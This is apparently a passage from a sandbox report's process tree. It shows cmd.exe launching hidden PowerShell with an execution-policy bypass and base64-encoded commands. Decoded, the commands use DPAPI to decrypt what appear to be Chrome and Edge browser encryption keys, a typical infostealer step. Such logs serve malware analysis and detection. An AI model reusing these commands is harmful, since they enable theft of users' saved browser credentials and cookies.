                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                  2⤵
                                                                                    PID:2904
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                      3⤵
                                                                                        PID:4928
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBwAFcAVABkAEYAbwBLAGgAVgBQAGkALwBOAFYARgBrAEcASABpAFUAYQB1AEEAMABJAFUAZgBVAE0ASABPAG8AYgBWAG8AMgAyADUATgBPADIAZgBrAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAHgARABOAGkAWQBzAGoAVAA5AGYAaQBVAEUAcwBkAGEATwBFAE0ASgBQAFcAcQBWAGoAYQBOAHEAMgBNAHEAbwBCADMAeAA1AHMATAA3AG4ASgAyAFYAUQBBAFEAQQBBADUAbABkADkAaQBWAHAAUgBYAGIAMQBwAHQAcgAzAGEAYwBaAEEAYgB0AEkAUgA2AFoATgBZAEEAawBoADMAdQBvADEAZwBIAFIAYwBMAE0ANwBxAFYAVwBSAEkAMQBlADgALwBrAFYARwByAG0AWABlADkAOAByAEQASABDAFMAVwAxADgAQwAxADkAaQBTAGEATQBUAEIAeQByAG0ATABtAFMASgBLADgAWAB0AGkAdwBTAFoAWAAwAHQAQgA3AGIAdwBWADkAeQBpAGoAZgBQAGoAQwA1AEsAbgBqADYAagBFAEgAbwBZADcAYQBGAGcAcwA1ADUAcgBJAC8ATgBjAGEAOABwAGsAMQBDADkATQBBADIAKwBxADkAZQAzAGIASgBhAG8ANgBLADcAdwA3AGkAeQA2AEgANQBYAEoARABuADkAVgBlAHoANwBOAEEAbQBDAGoAdQBlAFoASAA2AG4AYQBmAFYAUABVAGoAVgBSADYAOAByAFEARQAyAHoATwBaAGgAZwBEAHAAagBSAGgAVwBUAFAATABwADQARABnACsAZwBYAE0AdgBhADgAWQBWAGoAMwBKAGYAQwBsAG8ARABMAE0ANgAyAHoASQBaAEgAdwAyADUAcgBqAHIAUwBOAHkARQBuAE4AZABmAFgASQBEAFIASQBCADMASgBoAGUAawBBAEUAOQBVAGcAaQB3AGcAbAAyAGIAcwAxAEsAVQBYAFAAeQBpAGMAZwBuAGoAdABvAG8AbABoAHYAeAAzAGgAZAB6AGUAaQArAGEASwBNAEkAMgBxAGkATQA2AFQANABpAHEAMQBtADkASABnAEQASgBiAGsAWABoAEgAeABuAGsAUwBoADgAagAyAFEAVABjAHIAUAAvADkAUQBVADIAUwBoAGMAYwBEAE4ARABlAGsAQwBqAFIAbABTAGgASABCAHcAMQBpAEcAVQBuAEsAWgArAFgAYQBzAEUATAAxADkALwBBAE4AVABGAHMARQB6AGMAMgA4AGgAcgBvADEAegA3AEsAKwBhAGoAMABsAGoASwBsADcASQBpAEYARQA4AGEAMgBlAEEAWQBEAHkAZABBAGkAQwByAEIAYwBUAHgAKwBOADYATwBYAFgALwBNAGYAegBwAE4AYwB2AEsASgBpAHcAaQBqAHQAdABWAE8ATQA3AHEAUQBBAEEAQQBBAEkALwBzAEYAOQAzAEUASQBHAEEAVQB1AGMAagB1ADIAOABaAHUAZwBSAGUAWQBGAC8ATQBNAE4AZQBZAGMAUQBtADEAQwBlAHUAdwBNAGoAQgBHAG8AbQA1AFkAKwBGAEMAbABSAGgANgBIAG4AUQBMAE0AZgAvAG0ATwBQAEEALwBsADcATgBOAFAAZQA4ADAAUwBoADYAeQBBAFgARQB0AEsAegBtAC8AZwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                      2⤵
                                                                                        PID:6520
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          3⤵
                                                                                            PID:3048
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBwAFcAVABkAEYAbwBLAGgAVgBQAGkALwBOAFYARgBrAEcASABpAFUAYQB1AEEAMABJAFUAZgBVAE0ASABPAG8AYgBWAG8AMgAyADUATgBPADIAZgBrAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAHgARABOAGkAWQBzAGoAVAA5AGYAaQBVAEUAcwBkAGEATwBFAE0ASgBQAFcAcQBWAGoAYQBOAHEAMgBNAHEAbwBCADMAeAA1AHMATAA3AG4ASgAyAFYAUQBBAFEAQQBBADUAbABkADkAaQBWAHAAUgBYAGIAMQBwAHQAcgAzAGEAYwBaAEEAYgB0AEkAUgA2AFoATgBZAEEAawBoADMAdQBvADEAZwBIAFIAYwBMAE0ANwBxAFYAVwBSAEkAMQBlADgALwBrAFYARwByAG0AWABlADkAOAByAEQASABDAFMAVwAxADgAQwAxADkAaQBTAGEATQBUAEIAeQByAG0ATABtAFMASgBLADgAWAB0AGkAdwBTAFoAWAAwAHQAQgA3AGIAdwBWADkAeQBpAGoAZgBQAGoAQwA1AEsAbgBqADYAagBFAEgAbwBZADcAYQBGAGcAcwA1ADUAcgBJAC8ATgBjAGEAOABwAGsAMQBDADkATQBBADIAKwBxADkAZQAzAGIASgBhAG8ANgBLADcAdwA3AGkAeQA2AEgANQBYAEoARABuADkAVgBlAHoANwBOAEEAbQBDAGoAdQBlAFoASAA2AG4AYQBmAFYAUABVAGoAVgBSADYAOAByAFEARQAyAHoATwBaAGgAZwBEAHAAagBSAGgAVwBUAFAATABwADQARABnACsAZwBYAE0AdgBhADgAWQBWAGoAMwBKAGYAQwBsAG8ARABMAE0ANgAyAHoASQBaAEgAdwAyADUAcgBqAHIAUwBOAHkARQBuAE4AZABmAFgASQBEAFIASQBCADMASgBoAGUAawBBAEUAOQBVAGcAaQB3AGcAbAAyAGIAcwAxAEsAVQBYAFAAeQBpAGMAZwBuAGoAdABvAG8AbABoAHYAeAAzAGgAZAB6AGUAaQArAGEASwBNAEkAMgBxAGkATQA2AFQANABpAHEAMQBtADkASABnAEQASgBiAGsAWABoAEgAeABuAGsAUwBoADgAagAyAFEAVABjAHIAUAAvADkAUQBVADIAUwBoAGMAYwBEAE4ARABlAGsAQwBqAFIAbABTAGgASABCAHcAMQBpAEcAVQBuAEsAWgArAFgAYQBzAEUATAAxADkALwBBAE4AVABGAHMARQB6AGMAMgA4AGgAcgBvADEAegA3AEsAKwBhAGoAMABsAGoASwBsADcASQBpAEYARQA4AGEAMgBlAEEAWQBEAHkAZABBAGkAQwByAEIAYwBUAHgAKwBOADYATwBYAFgALwBNAGYAegBwAE4AYwB2AEsASgBpAHcAaQBqAHQAdABWAE8ATQA3AHEAUQBBAEEAQQBBAEkALwBzAEYAOQAzAEUASQBHAEEAVQB1AGMAagB1ADIAOABaAHUAZwBSAGUAWQBGAC8ATQBNAE4AZQBZAGMAUQBtADEAQwBlAHUAdwBNAGoAQgBHAG8AbQA1AFkAKwBGAEMAbABSAGgANgBIAG4AUQBMAE0AZgAvAG0ATwBQAEEALwBsADcATgBOAFAAZQA4ADAAUwBoADYAeQBBAFgARQB0AEsAegBtAC8AZwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                            3⤵
                                                                                              PID:4108
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                            2⤵
                                                                                              PID:5328
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                3⤵
                                                                                                  PID:3280
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIAT